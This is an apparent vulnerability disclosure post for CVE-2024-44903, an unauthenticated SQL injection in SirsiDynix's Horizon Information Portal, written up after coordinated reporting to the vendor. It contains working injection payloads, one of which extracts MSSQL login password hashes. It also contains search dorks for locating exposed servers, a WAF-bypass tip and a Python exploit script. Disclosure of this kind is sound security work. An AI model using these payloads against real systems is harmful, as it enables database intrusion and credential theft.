Categories
CVE Pentesting Vulnerability

CVE-2024-44903: SQL Injection Vulnerability in Horizon Information Portal

A serious SQL Injection vulnerability has been identified in the SirsiDynix Horizon Information Portal (IPAC20), affecting multiple versions of the software. This vulnerability, designated as CVE-2024-44903, poses a significant risk to the security and confidentiality of the affected systems.

The vulnerability, which is easily exploitable, allows an unauthenticated attacker to gain full read access to the database. This is achieved by injecting malicious SQL code into the application, which then executes the malicious SQL commands on the database.

The vulnerability affects multiple versions of the SirsiDynix Horizon Information Portal (IPAC20). The following versions have been tested and are known to be vulnerable:

  • Horizon Information Portal (IPAC20) version 3.25_9382
  • Horizon Information Portal (IPAC20) version 3.24_7488
  • Other versions may also be affected.

 

SirsiDynix, the vendor behind the Horizon Information Portal software, has proactively contacted all affected clients. To mitigate this vulnerability, a patch has been released. Users are advised to reach out to the vendor to ensure they have the latest available update.

 

IPAC20 unauthenticated SQL Injection in uri=full= variable

CVE: CVE-2024-44903

Type: SQL Injection

Privileges required: Unauthenticated

CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Software version: Horizon Information Portal (IPAC20)

Tested versions: 3.25_9382, 3.24_7488, others may be affected

Vendor: SirsiDynix

 

Software Exposure Surface

Google: inurl:ipac.jsp or ipac.jsp SirsiDynix or intitle:”Horizon Information Portal”

Results on 28 February 2025

 

Shodan: ipac20

131 results in 28 February 2025

 

ZoomEye: ipac20

941 results on 28 February 2025

 

Description

The library management software Horizon Information Portal from SirsiDynix has an unauthenticated SQL Injection issue in a SELECT WHERE statement, in a part of the uri= variable in the second part of the full= inner variable.

The following example URL exploits the issue in the tested site (adapt the URL and injection as needed, full=<id>~!<payload>~!2* where id must be found on the proper site, and payload is the SQL Injection entry point):

/ipac.jsp?profile=&uri=full=3100024~!convert(int,@@version)~!2

The payload is convert(int,@@version) and is URL encoded, generating an error message with the MSSQL server version.

In the tested site, the user running the database was database operator enabling to retrieve MSSQL login hashes tables with the following pageable payload:

convert(int,(SELECT TOP 30 cast(principal_id as varchar)+':'+name+':'+convert(varchar(1000),password_hash,2)+'|' FROM master.sys.sql_logins where principal_id>0 FOR XML PATH('')))

Additionally, IPAC accepts the URL variables also as POST body variables which may enable it to bypass some Web Application Firewall restrictions.

 

Mitigation

Ensure to have Web Application Firewall filtering SQL injection payloads in the affected URL while there is no update available. Ensure to have updates in place to remediate this issue. There is an available update from the vendor.

 

Exploit PoC

import requests, argparse, re
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("-p", "--post", action="store_true", help="use POST method")
parser.add_argument("ipac_url", help="ipac.jsp URL (ex: https://site/ipac20/ipac.jsp)")
options = parser.parse_args()


def run_one(ipac_url):
    payload = "convert(int,@@version)"
    exploit_params = "profile=&uri=full=3100001~!%s~!0" % (payload)

    if options.post:
        headers = {'content-type': 'application/x-www-form-urlencoded'}
        response = requests.post(ipac_url, data=exploit_params, headers=headers, allow_redirects=True, verify=False)
    else:
        response = requests.get("%s?%s" % (ipac_url, exploit_params), allow_redirects=True, verify=False)

    matchs = re.findall(r"(.*?)", response.text)
    print("%s;%s;%s" % (response.status_code, ipac_url, matchs[0] if len(matchs) > 0 else ""))


run_one(options.ipac_url)

Usage:

$ python ipac-xpl.py -h
usage: ipac-xpl.py [-h] [-p] ipac_url

positional arguments:
  ipac_url    ipac.jsp URL (ex: https://site/ipac20/ipac.jsp)

options:
  -h, --help  show this help message and exit
  -p, --post  use POST method

 

Timeline

Jan/2024 – Issue discovery

Feb/2024 – Issue reported to client

Apr/2024 – Reported by client that the issue do not have patch from the vendor

Apr/2024 – Communication with vendors and started CVE process

Mar/2024 – Communication with vendor but no reply.

Ago/2024 – Reserved CVE-2024-44903

Set/2024 – Communication with vendor and CNCS (Portuguese Cyber Security Center) with reserved CVE-2024-44903, started the patching and updating process.

Mar/2025 – Public communication of CVE-2024-44903

 

Author

Hugo Trovão